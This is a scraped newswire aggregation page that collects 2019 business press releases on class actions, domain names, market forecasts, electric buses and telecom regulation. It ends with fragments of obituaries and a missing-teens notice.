On December 3, 2018, the Company disclosed that shipments of Arlo Ultra, its recently-announced flagship security camera system, were delayed due to a quality issue with the battery from one of its suppliers discovered during the final testing phase, and that as a result it lowered its Q4 2018 financial guidance. On this news, the price of Arlos shares plummeted 42% from its IPO price. The case is Wong v. Arlo Technologies, Inc. et al, 19-cv-00372. About ClaimsFiler ClaimsFiler has a single mission: to serve as the information source to help retail investors recover their share of billions of dollars from securities class action settlements. At ClaimsFiler.com, investors can: (1) register for free to gain access to information and settlement websites for various securities class action cases so they can timely submit their own claims; (2) upload their portfolio transactional data to be notified about relevant securities cases in which they may have a financial interest; and (3) submit inquiries to the Kahn Swick & Foti, LLC law firm for free case evaluations. To learn more about ClaimsFiler, visit www.claimsfiler.com .

[ Back To TMCnet.com's Homepage ][February 12, 2019] AirPlus releases survey results revealing that review platforms have major influence on hotel bookings for business trips

86 percent of business travelers surveyed have booked their hotels once or multiple times based on guest reviews. 93 percent sometimes or always trust such reviews. AirPlus, one of the leading providers of billing solutions, recommends employers to incorporate reviews into their travel programs. SINGAPORE, Feb. 13, 2019 /PRNewswire/ -- Consumer power is increasing as digitization is on the rise. Platforms with consumer reviews exert an influence on buying decisions. That applies to the travel industry too, as in the case of hotel reviews and bookings. For instance, 28 percent of the 2180 business travelers from 24 countries surveyed by AirPlus essentially choose their hotel based on guest reviews. A further 58 percent are guided in their choice of hotel by reviews at least some of the time. Learn more: https://photos.prnasia.com/prnk/20190211/2371247-1 Reviews have high degree of credibility This trend is most marked in emerging markets. No less than 97 percent of Indian business travelers and 95 percent of Chinese business travelers select their hotel always orat least from time to time based on reviews. Many travelers regard reviews as having a high degree of credibility. 27 percent of those surveyed basically trust reviews, while 66 percent trust them at least sometimes. However, the extent of that trust in reviews differs from country to country. While 57 percent of Indian business travelers always trust reviews, the figure for the Netherlands is only 10 percent.



It is time for companies to harness review platforms Given 456 million visits a month to www.tripadvisor.com, the world's most popular review platform, this issue can no longer be ignored by corporate travel managers. "Companies ought to share their business travel experiences and make reviews about hotel bookings, for instance, available to employees," Yael Klein, Marketing Director of AirPlus, advises. Reviews by a company's own employees provide an excellent opportunity to back up internal travel perceptions. Employees trust reviews by colleagues and comply with corporate policy by booking hotels preferred by the company.

Setting up a "smart link" "Why don't you check whether the provider of your hotel booking tool offers review opportunities," Klein advises travel managers. Should this not be the case, a corporate link to a public review platform could be set up. "Smart links to platforms that list suitable hotels for corporate travel have proven to be a success with our clients," says Klein. "The feared migration has not occurred within the context of subsequent booking processes. Instead, employees obtain information from a very wide range of sources, but ultimately bookings are made in the companies' own systems." The benefit of being linked in to platforms is a greater quantity of information, like hotels' details about location, facilities and transport links, which are platform standards. And ultimately the reviews on the platforms enable bad hotels to be separated from good ones and be ruled out of consideration. About AirPlus International: AirPlus International is a leading international provider of day-to-day corporate travel management solutions. 51,000 corporate clients rely on AirPlus International for their business travel payment and analysis needs. AirPlus International-branded products and services are sold worldwide. The AirPlus Company Account is the most successful billing account within the UATP. Further information at www.airplus.com. Logo - https://photos.prnasia.com/prnh/20190211/2371247-1logo SOURCE AirPlus

[ Back To TMCnet.com's Homepage ][February 12, 2019] 20 Afilias Top Level Domains Now Licensed for Sale in China



Ministry of Industry and Information Technology (MIIT) Approves 15 Additional Afilias Top Level Domains (TLDs) Newly approved TLDs are: ".ARCHI",".BIO",".BLACK",".BLUE",".GREEN",".LOTTO",".ORGANIC",".PET",".PINK",".POKER",".PROMO",". SKI",".VOTE",".VOTO" and (xn--6frz82g, means "mobile") HORSHAM, Pennsylvania, Feb. 13, 2019 /PRNewswire/ -- Afilias, a leading domain registry operator, is pleased to announce the availability of 20 Afilias TLDs approved for sale in China by the China Ministry of Industry and Information Technology (MIIT). The announcement clears the way for millions of Chinese businesses and other registrants to operate sites using these additional 15 popular TLDs which are owned and operated by Afilias. A "top level domain" or TLD is the last name to the right of the dot in an internet address (e.g. the "info" in www.afilias.info). A "registry operator" maintains the master list of all the names in a TLD like .INFO, as well as the internet (IP) address for each name. Afilias provides this service for over 200 TLDs around the world.

In 2017, Afilias became the first western registry operator to be licensed for in-country operations by China's MIIT with the approval of .INFO, .MOBI, .PRO, .RED, and .KIM. By 2018, nearly 2M Afilias names were registered to Chinese registrants. With today's announcement, 20 TLDs operated by Afilias are available for sale by Chinese registrars. "Afilias is excited that our China Registry Service is now supporting 20TLDs for China," said Kun Qian, Afilias' China Country Head. "We are pleased that these TLDs have passed MIITs stringent requirements, and we look forward to working closely with our Chinese registrar partners to expand choice for Chinese registrants and enable them to take advantage of these globally recognized TLDs."

"China's domain name market is one of the world's biggest and fastest growing," said Roland LaPlante, Senior Vice President of Afilias, "and the addition of 15 popular new TLDs should help support even broader adoption and growth of the Internet. We are especially proud to offer xn--6frz82g, means "mobile", which can add fuel to the rapidly expanding mobile market. The new addresses are expected to be a "win-win" for registrars and registrants."

Afilias also provides registry services to meet the technology needs of clients who operate their own TLDs, including country codes, "dotBrands" and other generic terms. Registry operators wishing to explore the China market should contact Afilias to see if the Afilias China Registry Service might be of interest.

For more information on these newly approved Afilias TLDs:









.ARCHI WEB PAGE: https://domains.archi/ TWITTER: @DotArchi .BIO WEB PAGE: https://domains.bio/ TWITTER: @dot_bio .BLACK WEB PAGE: https://get.black/ TWITTER: @dotBLACKdomain .BLUE WEB PAGE: https://dotblue.blue/ TWITTER: @dotBlueDomain .GREEN WEB PAGE: https://get.green/ TWITTER: @GREENnewtld .info WEB PAGE: http://Info.info

.kim WEB PAGE: http://Get.KIM

.LOTTO WEB PAGE: https://get.lotto/ TWITTER: @dotLOTTO .mobi WEB PAGE: http://dotmobi.mobi TWITTER: @dotMobiOfficial .ORGANIC WEB PAGE: https://get.organic/ TWITTER: @dotORGANIC .PET WEB PAGE: https://get.pet/ TWITTER: @dotPETdomain .PINK WEB PAGE: https://get.pink/ TWITTER: @dotPINKdomain .POKER WEB PAGE: https://get.poker/ TWITTER: @dotBETdotPoker .pro WEB PAGE: http://Registry.PRO TWITTER: @RegistryPro .PROMO WEB PAGE: https://get.promo/ TWITTER: @getdotPROMO .red WEB PAGE: http://GET.RED TWITTER: @dotRedTLD .SKI WEB PAGE: https://domains.ski/ TWITTER: @dot_ski .VOTE WEB PAGE: https://get.vote/ TWITTER: @DotVote .VOTO WEB PAGE: https://get.voto/ TWITTER: @DotVote dotCHINESEMOBILE WEB PAGE: https://afilias.info/new-tlds/mobileregistrars



About Afilias

Afilias is the world's second largest domain registry, with over 21 million domain names under management. Afilias powers a wide variety of top-level domains, including TLDs for countries, cities, brands, communities and generic terms. Afilias' specialized technology makes Internet addresses more accessible and useful through a broad range of applications, including Internet domain registry services , managed DNS , and mobile Web services . Afilias, Inc. is based near Philadelphia  offices are also located in Dublin Ireland, Toronto Canada, New Delhi India, Melbourne Australia, Vista California, and Beijing China. Afilias holds a Guinness World Records title for the "Largest migration of an internet top-level domain in a single transition" for its migration of the .au top-level domain in 2018. For more information on Afilias services please visit www.afilias.info . For More Information:

Alan Wallace, Director of Corporate Communications, Afilias

press@afilias.info

+1.425.691.8757 cell Logo - https://mma.prnewswire.com/media/621115/Afilias_SP_Logo.jpg SOURCE Afilias

[ Back To TMCnet.com's Homepage ][February 12, 2019] The global digital printing packaging market is estimated to reach revenues of around $28 billion by 2024

LONDON, Feb. 12, 2019 /PRNewswire/ -- The global digital printing packaging market is estimated to reach revenues of around $28 billion by 2024, growing at a CAGR of approximately 11% during 2018-2024.



Download the full report: https://www.reportbuyer.com/product/5730657



The global digital printing packaging market is driven by growing demand from various industries such as food and beverage, healthcare, electronics, and others. China, Germany, Japan, and India are emerging as the powerhouses in the global market. The market research report provides in-depth market analysis and segmental analysis of the global digital printing packaging market by technology, end-user application, package type, and geography. The report considers the present scenario of the global digital printing packaging market and its market dynamics for the period 2019?2024. It covers a detailed overview of various market growth enablers, restraints, and trends. The study covers both the demand and supply sides of the market. It also profiles and analyzes the leading companies and various other prominent companies operating in the market.



Digital Printing Packaging Market  Dynamics



The growing preference for enhanced product presentability across several consumer brands is driving the demand in the global digital printing packaging market. The appearance of the product often influences the buyer immediately, the first impression of the product will result in the ultimate purchase decision of the consumers. The companies are leveraging product packages to promote their products on digital media in the market. The rising demand for short-run product printing, variations in SKU (Stock Keeping Unit), and seasonal & one-off promotional packets is propelling the growth of the global digital printing packaging market. Digital printing helps reduce overhead costs and enhance productivity in the global market. The quality of this printing has a range of different impressions without any hurdles and provides the flexibility option by printing exactly the volume required to be printed in the market. The ability to print just-in-time quantities is one of the major benefits of digital technology in the global market. The rising demand from various industrial applications such as food & beverages (F&B), cosmetics, and healthcare industries is contributing to the revenues in the global digital printing packaging market. The increasing availability of various materials such as label packaging, folding cartons, corrugated packaging, and flexible packaging will contribute to the growing revenues. The inclination towards flexibility and convenience will contribute to the growing revenues in the global digital printing packaging market. The growing popularity of zip locks, resealable seals, and the reusability feature of packets will promote sustainability.



Digital Printing Packaging Market  Segmentation



This market research report includes a detailed segmentation of the market by technology, end-user application, package type, and geography. The global digital printing packaging market by technology is segmented into inkjet technology and electrophotography. Inkjet technology segment dominated more than half of the total market share in 2018, growing at CAGR of around 16% during the forecast period. Inkjet technology is one the latest and emerging trend in the global market. The inkjet systems have a certain single-pass system possess separate rows of different print heads for each colr, thereby offering smoother and more precise label information in the market. Electrophotography is the most recognized and widely used solution in label packaging in the global market. The ability to produce top quality prints over a wide range of material substrates will boost the adoption of this technology in the global digital printing packaging market.







The package type in the global digital printing packaging market is classified into labels, corrugated packaging, folding packaging, and flexible packaging. Corrugated packaging is the fastest growing segment in the global market, at a CAGR of approximately 12% during the forecast period. Corrugated boxes and cardboards are the most popularly used package in the global market. The presence of a diverse range of products catering to a wide range of industries is one of the primary factors contributing to the growth of this segment. Labels comprise of a broad range of details, and it has to contain precise and accurate information. The manufacturers are leveraging labels to enhance the products appeal, resulting in higher demand in the digital printing packaging market. The global digital printing packaging market by end-user application is categorized into food & beverage, electronics, healthcare, personal care, and others. Food and beverage segment occupied more than half of the total market share in 2018, growing at a CAGR of around 11% during the forecast period. The wide range of products and a shorter lifespan of consumer goods is propelling the growth of this segment in the global market. The rising demand for hand care, color cosmetics, face care, hair care, and body care products are boosting the growth of the personal care segment in the global market. The wide range of products catering to a large group of consumers will create lucrative opportunities for the vendors operating in the digital printing packaging market.



Market Segmentation by Technology

 Inkjet Technology

 Electrophotography





Market Segmentation by Package Type

 Labels

 Corrugated Packaging

 Folding Packaging

 Flexible Packaging



Market Segmentation by End-User Application

 Food & Beverage

 Electronics

 Healthcare

 Personal Care

 Others



Digital Printing Packaging Market  Geography



The geographical segment in the global digital printing packaging market is divided into APAC, Europe , North America , Latin America , and MEA. APAC dominated the largest market share in 2018, growing at a CAGR of around 12% during the forecast period. The growing demand for innovative food and beverage and cosmetic product packages is driving the demand in the APAC market. Japan , China , India , and South Korea are the largest revenue generators in the APAC region. The exponential growth of the organized retail sector will drive the European market over the next few years. The rising employment, relaxed monetary policy stance, and a boost in investor sentiments are some of the major factors contributing to the development of the European digital printing packaging market.The European Union (EU) has initiated the Horizon 2020 program, which is the largest R&D funding and innovation program.



Market Segmentation by Geography

 APAC

 China

 Japan

 India

 Europe

 Germany

 UK

 France

 North America

 US

 Canada

 Latin America

 Brazil

 Mexico

 Argentina

 MEA

 Saudi Arabia

 UAE

 South Africa



Key Vendor Analysis

The global digital printing packaging market is moderately fragmented due to the presence of top vendors commanding the competition level. The increasing focus on innovations and upgrades will intensify the competition in the global market. The leading vendors are a focus on quality, technology, and price to sustain the competition in the market. Large manufacturers are shifting and expanding their production facilities in emerging countries such as China , South Korea , Japan , India , and Taiwan in the global market. The introduction of many innovative and advanced solutions will boost revenues in the global digital printing packaging market.



The major vendors in the global market are:

 HP

 E.I. Du Pont de Nemours & Co

 Mondi

 Xeikon

 Xerox



Other prominent vendors include Quad/Graphics, Cenveo, Dainippon Screen Graphics, EC Labels, Graphix Labels and Packaging, Edwards Label, INX International, Quantum Print and Packaging, Traco Manufacturing, CCL Healthcare, Heidelberg USA , Barberan, Cyan Tec, Hinterkopf, Minolta, WS Packaging Group, Krones, Hymmen, Landa Digital Printing, Mark Andy , and Sun Automation.



Key market insights include

1. The analysis of the global digital printing packaging market provides market size and growth rate for the forecast period 2018-2023.

2. It offers comprehensive insights into current industry trends, trend forecast, and growth drivers about the global digital printing packaging market.

3. The report provides the latest analysis of market share, growth drivers, challenges, and investment opportunities.

4. It offers a complete overview of market segments and the regional outlook of the global digital printing packaging market.

5. The report offers a detailed overview of the vendor landscape, competitive analysis, and key market strategies to gain competitive advantage.



Download the full report: https://www.reportbuyer.com/product/5730657



About Reportbuyer

Reportbuyer is a leading industry intelligence solution that provides all market research reports from top publishers



For more information:

Sarah Smith

Research Advisor at Reportbuyer.com

Email: sarah@reportbuyer.com

Tel: +1 (718) 213 4904

Website: www.reportbuyer.com View original content:http://www.prnewswire.com/news-releases/the-global-digital-printing-packaging-market-is-estimated-to-reach-revenues-of-around-28-billion-by-2024-300794007.html SOURCE ReportBuyer

[ Back To TMCnet.com's Homepage ][February 12, 2019] The global smart transformer market is anticipated to grow at a CAGR of about 9.10% during the forecast years of 2019-2027

NEW YORK, Feb. 12, 2019 /PRNewswire/ -- KEY FINDINGS

The global smart transformer market is anticipated to grow at a CAGR of about 9.10% during the forecast years of 2019-2027. The smart transformers market is primarily driven by factors such as a rise in industrial growth, timeworn infrastructure leading to investment in smart grids, increasing production of electricity, compliance with regulatory standards and rising demand for green energy.



Read the full report: https://www.reportlinker.com/p05039864



MARKET INSIGHTS

The global smart transformers market is segmented by type, by component, and by the application.The market by type is further segmented into distribution transformer, power transformer, instrument transformer, and specialty transformer.



The market by the component is further segmented into converter, switch, and other components.The market by application is further segmented into electric vehicle charging station, traction locomotives, power (distribution) grid, and alternative power generation.



Infrastructure cost for smart transformers and fluctuations in raw materials are the major factors hindering the smart transformers market. Due to the number of regulatory and operational challenges the industries are on advancement in traditional transformers.



REGIONAL INSIGHTS

Geographically, the global Smart Transformers market is bifurcated into North America, Asi Pacific, Europe, and the remaining countries constituting the Rest of World segment.The Asia Pacific region is anticipated to be the fastest growing region during the forecast period.







The regional market will be mainly driven by the conversion of distribution equipment and aging power transmission. China is currently leading the market scene due to continuous heavy investments in the smart grid by the Chinese government and the increased demand for electricity in the smart and suburban cities of China .



COMPETITIVE INSIGHTS

The global smart transformer market is a fragmented market that houses both; domestic vendors and global players such as General Electric, ABB Ltd. and Mitsubishi Electric Corporation. All these companies are actively contributing to generating the revenue of the global smart transformers market by trying to adopt new technologies, thus increasing their global presence. Some of the powerful companies operating in the global market are Bharat Heavy Electricals Limited, Eaton Corporation PLC, Schneider Electric SE, Howard Industries, Inc., Tesla Transformers Ltd., General Electric Co., Siemens AG, Mitsubishi Electric Corporation, Maschinenfabrik Reinhausen GmbH, Crompton Greaves Ltd., SPX Transformer Solutions and ABB Ltd.





Companies mentioned

1. ABB LTD.

2. CROMPTON GREAVES LTD.

3. EATON CORPORATION PLC

4. GENERAL ELECTRIC CO.

5. HOWARD INDUSTRIES, INC.

6. MITSUBISHI ELECTRIC CORPORATION

7. SCHNEIDER ELECTRIC SE

8. SIEMENS AG

9. SPX TRANSFORMER SOLUTIONS

10. BHARAT HEAVY ELECTRICALS LIMITED

11. MASCHINENFABRIK REINHAUSEN GMBH

12. TESLA TRANSFORMERS LTD.



Read the full report: https://www.reportlinker.com/p05039864



About Reportlinker

ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place.



__________________________

Contact Clare: clare@reportlinker.com

US: (339)-368-6001

Intl: +1 339-368-6001 View original content:http://www.prnewswire.com/news-releases/the-global-smart-transformer-market-is-anticipated-to-grow-at-a-cagr-of-about-9-10-during-the-forecast-years-of-2019-2027--300794157.html SOURCE Reportlinker

[ Back To TMCnet.com's Homepage ][February 12, 2019] Software Defined Infrastructure Market Research Report by Forecast to 2023

Market Highlights: Software Defined Infrastructure (SDI) is a method of controlling IT infrastructure with the help of software. In general, SDI is a combination of networking, storage, and computing, which are pre-defined by hardware and software solutions. Deploying SDI in an organization has numerous advantages, such as reduction of capital expenditures, automation of manual resource provisioning, increase in flexibility, agility, and others. Software defined infrastructure helps in minimising capital expenditures in two ways. The first method is by providing defined protocols and standards for limiting dependency on software and hardware, and the second method is by deploying virtualization and cloud technologies in existing IT environment as a substitute for providing new equipment for increasing scalability.







Software Defined Infrastructure Market helps IT organizations to run smoothly by automating the processes within the organization. The removal of manual tasks and provision of rule-based server are driving IT organizations to deploy SDI. SDI helps in improving security management, increasing staff productivity and minimising manual errors.



The demand for better alignment of IT infrastructure in an organization, increase in deployment of data centers, rise in prominence of cloud computing, and reduction in capital expenditures are primarily driving the market growth. The deployment of hybrid cloud services and artificial intelligence, coupled with existing infrastructure can be an added advantage. Cisco Systems, an American Multinational Company, is currently working on Application-Centric Infrastructure (ACI). The Cisco ACI is considered as the industry leading software defined networking module which helps in enabling application agility and datacentre automation. Many key players are innovating in this field and are helping organizations to drive towards software defined infrastructure. Lack of sufficient knowledge and expertise in the field of software defined infrastructure is hampering the market growth.





Browse Full Report Details @ https://www.marketresearchfuture.com/reports/software-defined-infrastructure-market-5702 Major Key Players:  VMware Inc. (U.S.)  Hewlett Packard Enterprise Co. (U.S.)  Cisco Systems, Inc. (U.S.)  Oracle Corporation (U.S.)  Dell Inc. (U.S.)  Microsoft Corporation (U.S.)  Hitachi, Ltd.(Japan)  IBM Corporation (U.S.)  Fujitsu, Ltd.(Japan)  NEC Corporation (Japan)  Citrix Systems, Inc. (U.S.) Some of the key innovators in this area are Arista Networks (U.S.), Nexenta Systems, Inc. (U.S.), Radware Corporation (Israel), Pica8, Inc.(U.S.), Juniper Networks (U.S.), Intel Corporation (U.S.), Wipro Limited (India), PLUMgrid Inc (U.S.), Plexxi (U.S.), Nokia (Finland), Red Hat, Inc. (U.S.), Brocade Communications Systems, Inc. (U.S.), Amazon Web Services (U.S.), Savvis (U.S.), and others.



The prominent players constantly keep innovating and investing in research and development in order to present a cost-effective portfolio. There have been recent mergers and acquisitions among the key players, where the business entities expect to strengthen their reach to their customer.



Regional Analysis: On the basis of geography, the market is studied for North America, Europe, Asia Pacific, and Rest of the World. Among these regions, the market is majorly dominated by North America at present due to higher concentration of cloud-based companies in countries like the United States and Canada.



Europe has acquired second spot in the market and is expected to show a decent growth rate. However, the Asia Pacific region is expected to show the highest CAGR during the forecast period. There are various new entrants in India and China that are deploying software defined infrastructure in their organizations. Moreover, the telecommunications industry in Asia Pacific is booming, which is influencing the growth of market in Asia Pacific.



Browse Full PR Details @ https://www.marketresearchfuture.com/press-release/software-defined-infrastructure-market Segmentation: The global software defined infrastructure market is segmented into solution, services, vertical, and region. On the basis of solution, the segment is further classified into SDN (software defined networking), SDS (software defined storage), SDC (software defined computing), and others. On the basis of services, the segment is further classified into managed services, consulting services, integration, and deployment services.



The software defined infrastructure is used in many verticals, such as BFSI, retail, telecom, manufacturing, healthcare, transportation, government, defense and others.



Intended Audience:  Network Service Providers  Cloud Services Providers  Data Center Vendors  Colocation Providers  Internet Services Providers (ISPs)  Enterprises  End-Users  System Integrators  Government Agencies Browse More Details @ https://www.marketwatch.com/press-release/software-defined-infrastructure-sdi-market-2019-company-profiles-global-trends-industry-segments-landscape-and-demand-by-forecast-to-2023-2019-02-11 Browse More Info @ https://www.openpr.com/news/988481/Software-Defined-Infrastructure-Market-2018-Global-Key-Players-IBM-Corporation-VMware-Inc-Hewlett-Packard-Enterprise-Co-Cisco-Systems-Inc-Oracle-Corporation-Microsoft-Corporation.html About Market Research Future: At Market Research Future (MRFR), we enable our clients to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.



Contact Market Research Future Office No. 528, Amanora Chambers Magarpatta Road, Hadapsar, Pune - 411028 Maharashtra, India +1 646 845 9312 Email: sales@marketresearchfuture.com As a community-building service, TMCnet allows user submitted content which is not always proofed by TMCnet editors. If you feel this entry is of inferior quality or wish to report it for some reason, please forward the URL to "webedit [AT] tmcnet [DOT] com" with your comments.

[ Back To TMCnet.com's Homepage ][February 13, 2019] StarMetro Places Its Third Order with Proterra, Bringing More Battery-Electric Buses to Florida State University

BURLINGAME, Calif., Feb. 13, 2019 /PRNewswire/ -- Today Proterra, a leading innovator in heavy-duty electric transportation, announced that StarMetro, the city of Tallahassee's public transit system, has agreed to purchase 22 Proterra Catalyst FC buses to service Florida State University (FSU), bringing the StarMetro fleet to 27 battery-electric buses. FSU is one of the first universities in the nation to decommission its entire fossil-fuel powered fleet and upgrade it to a 100 percent battery-electric fleet, joining cities across North America in the trend to cleaner, higher-performing electric transit buses. Since operating its first battery-electric buses over five years ago, StarMetro has logged over 313,000 miles of revenue service with five Proterra buses to date and is excited to grow its zero-emission fleet footprint. The procurement will also set a national precedent with FSU being one of the first universities in the nation to go all-electric, and StarMetro will continue to lead the Sunshine State in electric bus adoption. The new 35-foot Proterra Catalyst FC buses will serve FSU's Seminole Express Bus Service and provide campus transportation for faculty, staff, students and visitors, totaling an average ridership of 847,000 each year. Operations are expected to begin mid-2019 with an initial deployment o 15 buses, with the remaining seven buses expected to deploy in 2021. This procurement also supports the goals defined in Florida State University's strategic plan to deepen its commitment to continuous innovation, invest strategically and incorporate sustainable living practices into all FSU activities. With 22 Catalyst buses, Florida State University will displace more than 2,820,000 gallons of diesel over the vehicles' 12-year lifespan and eliminate over 5,000,000 pounds of carbon emissions annually. The new electric buses are expected to provide fuel and maintenance cost savings of more than $10 million.



For universities and colleges, the trajectory towards sustainable transportation models is not only fueled by widespread student interest in environmentally friendly practices, but also because "going green" can provide long-term cost savings. As the third largest university in Florida, FSU will serve as a leading example for other colleges across the country that want to prioritize zero-emission campus transportation for the next generation. Proterra has also sold its Catalyst buses to the University of Montana, Duke University and Alabama A&M University. "As university populations grow across the United States, more campus transportation operators are taking the long-view and looking for sustainable ways to increase mobility while reducing costs and their carbon footprint," said Ryan Popple, CEO of Proterra. "Helping universities and the next-generation of leaders experience zero-emission transit is intrinsic to our vision."

About Proterra:

Proterra is a leader in the design and manufacture of zero-emission, heavy-duty electric vehicles, enabling bus fleet operators to significantly reduce operating costs while delivering clean, quiet transportation to local communities across North America. The company's configurable Catalyst platform is designed to serve the daily mileage needs of nearly every transit route on a single charge. With industry-leading durability and energy efficiency based on rigorous U.S. independent testing, Proterra products are proudly designed, engineered and manufactured in America, with offices in Silicon Valley, South Carolina, and Los Angeles. For more information, visit: http://www.proterra.com and follow us on Twitter @Proterra_Inc. View original content to download multimedia:http://www.prnewswire.com/news-releases/starmetro-places-its-third-order-with-proterra-bringing-more-battery-electric-buses-to-florida-state-university-300794802.html SOURCE Proterra

[ Back To TMCnet.com's Homepage ]Going to the beach

Visiting family/friends out of town

Camping/hiking

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Vote

View Results[February 12, 2019] IP Software Market Expected to Reach US$ 8,071.1 Mn by 2026

According to a new market report published by Transparency Market Research titled Intellectual Property Software Market  Global Industry Analysis, Size, Share, Growth, Trends, and Forecast, 2018  2026, the global intellectual property software market is expected to reach a value of US$ 8,071.1 Mn by 2026. The market is estimated to expand at a CAGR of 14.9% during the forecast period from 2018 to 2026.The intellectual property software market in Asia Pacific is projected to expand at a rapid pace during the forecast period. According to the report, the global intellectual property software market is mainly driven by growing focus of companies for the protection of intellectual assets by gaining patents and licenses for their innovations and technologies.







Intellectual property software supports the business across a wide range of applications which includes prior art search, intellectual property filings, product teardowns, patent landscape, patent portfolio analysis, business strategies, and in patent portfolio mining, and licensing/ litigation support. Rapid development in the field of information and communication technologies, and growing awareness and adoption of intellectual property software across emerging economies especially India, Brazil, Indonesia, and Saudi Arabia is anticipated to offer lucrative opportunities in the long-term.



The intellectual property software market has been segmented based on component, application, end-use industries, and region. Based on component, the market is categorized into software, and services. Among these components, software segment is further divided into cloud-based and on premise. Services segment is categorized into development and implementation services, consulting services, and maintenance & support services. Among these services, maintenance & support services sub-segment is anticipated to see flourishing growth during the forecast period.





In terms of geography, North America dominated the global intellectual property software market in 2018 with more than 34% share and is expected to maintain its leading position during the forecast period, followed by Europe. In Asia Pacific, China and Japan are dominating the intellectual property software market, followed by Australia and India. The market in Asia Pacific is projected to expand at a fast pace as the region is on the verge of an economic revolution. Emerging economies of India, China, and Indonesia are expected to be key contributors to the intellectual property software market.



Request a Sample - https://www.transparencymarketresearch.com/sample/sample.php?flag=S&rep_id=55014 Some of the leading players of the intellectual property software market are Aistemos, Ambercite, Anaqua, Inc., Clarivate Analytics, Dennemeyer, Evalueserve Netherlands B.V., Gemalto NV, Gridlogics, Innography, Inc., Innovation Asset Group, Inc., Inteum Company, LLC, Iolite Softwares Inc., IP Checkups, Inc., IP Street Holdings, LLC, IPfolio, LexisNexis, MinesoftLtd.,O P Solutions, Inc., Patrix AB, PatSnap Pte. Ltd., Questel, TORViC Technologies, Inc., VajraSoft Inc., Wellspring Worldwide, and XLPAT.The companies active in this market are focusing on R&D activities along with technological product innovation to strengthen their position in the industry. Moreover, geographical expansion and strategic partnerships & agreements with other companies are key business strategies adopted by intellectual property software companies across different regions. As a community-building service, TMCnet allows user submitted content which is not always proofed by TMCnet editors. If you feel this entry is of inferior quality or wish to report it for some reason, please forward the URL to "webedit [AT] tmcnet [DOT] com" with your comments.

[ Back To TMCnet.com's Homepage ][February 13, 2019] Investors Heritage Names Jay Slatton Director of Preneed Development

Investors Heritage Life Insurance Company ("Investors Heritage") announced today that Jay Slatton has been named Director of Preneed Development. In this role, Mr. Slatton will work closely with field directors and prospects to help Investors Heritage build on its platform of leading preneed solutions. He will continue in his role as Regional Preneed Director, operating out of Tennessee. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20190213005404/en/ Jay Slatton (Photo: Business Wire) "We are pleased to name Jay Slatton as our Director of Preneed Development," said Harry Lee Waterfield II, Chief Executive Officer at Investors Heritage. "The preneed space is a core part of our business, one we are deeply committed to, an we believe Jay's experience will benefit our funeral home accounts, our products, services, and the company for the long term. We look forward to working with Jay to grow our preneed market share in our current regions and into new markets nationally."



While active with Investors Heritage since 2009, Mr. Slatton joined Investors Heritage in 2015 as Tennessee Regional Manager, working closely with the Tennessee Funeral Directors Association and local funeral homes. Prior to joining Investors Heritage, he worked actively as a licensed funeral director for 15 years. He is the first funeral director to be named a member of the Investors Heritage management team. "Investors Heritage has established a reputation for providing first-class service and products that help people plan for their and their loved ones' future needs," Mr. Slatton said. "By working closely with funeral directors and having worked in the industry myself, I want to ensure that those needs continue to be met thoroughly and efficiently. Together, we will build on that tradition and give more people nationwide the peace of mind that they are looking for."

About Investors Heritage Life Insurance Company Investors Heritage Life Insurance Company offers its policyholders a wide range of insurance solutions backed by a track record of exceptional service. The company was founded in 1960 and is headquartered in Frankfort, Kentucky, with a rich and growing tradition of providing tools to help people build and manage their legacies as a leader in preneed and final expense policies, and through its new retirement and wealth management offerings. For more information, please visit investorsheritage.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005404/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019] CRTC must correct flawed report, explain missing data: TekSavvy

Without explanation, the 2018 Communications Monitoring Report broke with past standards and omitted data that is highly relevant to CRTC proceedings CHATHAM, ON, Feb. 13, 2019 /CNW/ - TekSavvy Solutions Inc. ("TekSavvy") today issued a letter to the CRTC calling for greater transparency and disclosure regarding its Communications Monitoring Report, published on 20 December 2018 ("2018 Report").



At the heart of the CRTC's mandate is to serve the public interest by consulting and informing Canadians about its work. Published annually by the CRTC, the Communications Monitoring Report provides comprehensive data and analysis about Canada's communications sector. Each edition of the report serves as an important source of public evidence to inform Canadians and enable them to participate meaningfully in the CRTC's proceedings.

The 2018 Report did not follow standard practices, which the CRTC applied in past reports to ensure high-quality data and relevant evidence for its proceedings. In particular, the 2018 Report omitted important data that had been included in past reports and repeatedly cited as key evidence in an open proceeding when the 2018 Report was published and such data was omitted from it. "The CRTC has long recognized that the annual Communications Monitoring Report serves a vital public purpose: to provide Canadians with the information they require to effectively participate in its proceedings." said Andy Kaplan-Myrth, TekSavvy's VP, Regulatory & Carrier Affairs. "Without explanation, the 2018 Communications Monitoring Report broke with standards that the CRTC itself deemed necessary for past reports to fulfill that purpose." "We're asking the CRTC to explain these changes and omissions, to provide more information about the standards it applied to this latest edition, and to issue an amendment to the 2018 Report that presents all omitted data as transparently as possible" added Kaplan-Myrth. About TekSavvy TekSavvy has been proudly serving Canadians with reliable telecom services for 20 years and has won numerous awards for the quality of its experience and for its commitment to fighting for and upholding consumers' rights online. With offices in Chatham, Ontario and Gatineau, Quebec TekSavvy is Canada's largest independent telecom service company with over 300,000 customers from coast to coast. SOURCE TekSavvy Solutions Inc.

[ Back To TMCnet.com's Homepage ]Andrew "Andy" J. Martin, 78, of Gastonia, NC formerly of Fairmont, passed away peacefully in the presence of his family on Tuesday, June 15, 2021. He was born on May 14, 1943 in Fairmont son of the late John and Mary Coughlin Martin. He is survived by his children: Vickie Lynn (John Raymond)SCHENECTADY - Police are asking for the public's help in locating three missing teens, two of whom have been missing since January.

Malaijah Hagins, 14, has been missing since Jan. 31. She was last seen wearing a gray, white and black windbreaker with a black bubblecoat, police said.Posted Wednesday, February 13, 2019 11:15 am

Richard Louis Tabor, Ph.D, 82, of Warrensburg, passed away on Tuesday, Feb. 12, 2019, in Lees Summit.

Richard was born on Nov. 21, 1936, in Monticello, Ill., the son of Troy and Nina (Wolfe) Tabor. He received his bachelors degree from Eastern Illinois University, Charleston, where he attended on a track scholarship. He went on to receive his masters degree from Northern Illinois University, DeKalb and then his doctorate from the University of Tennessee, Knoxville. He married Brenda Palian on June 13, 1964, in Decatur, Ill., and to this union was born one daughter.

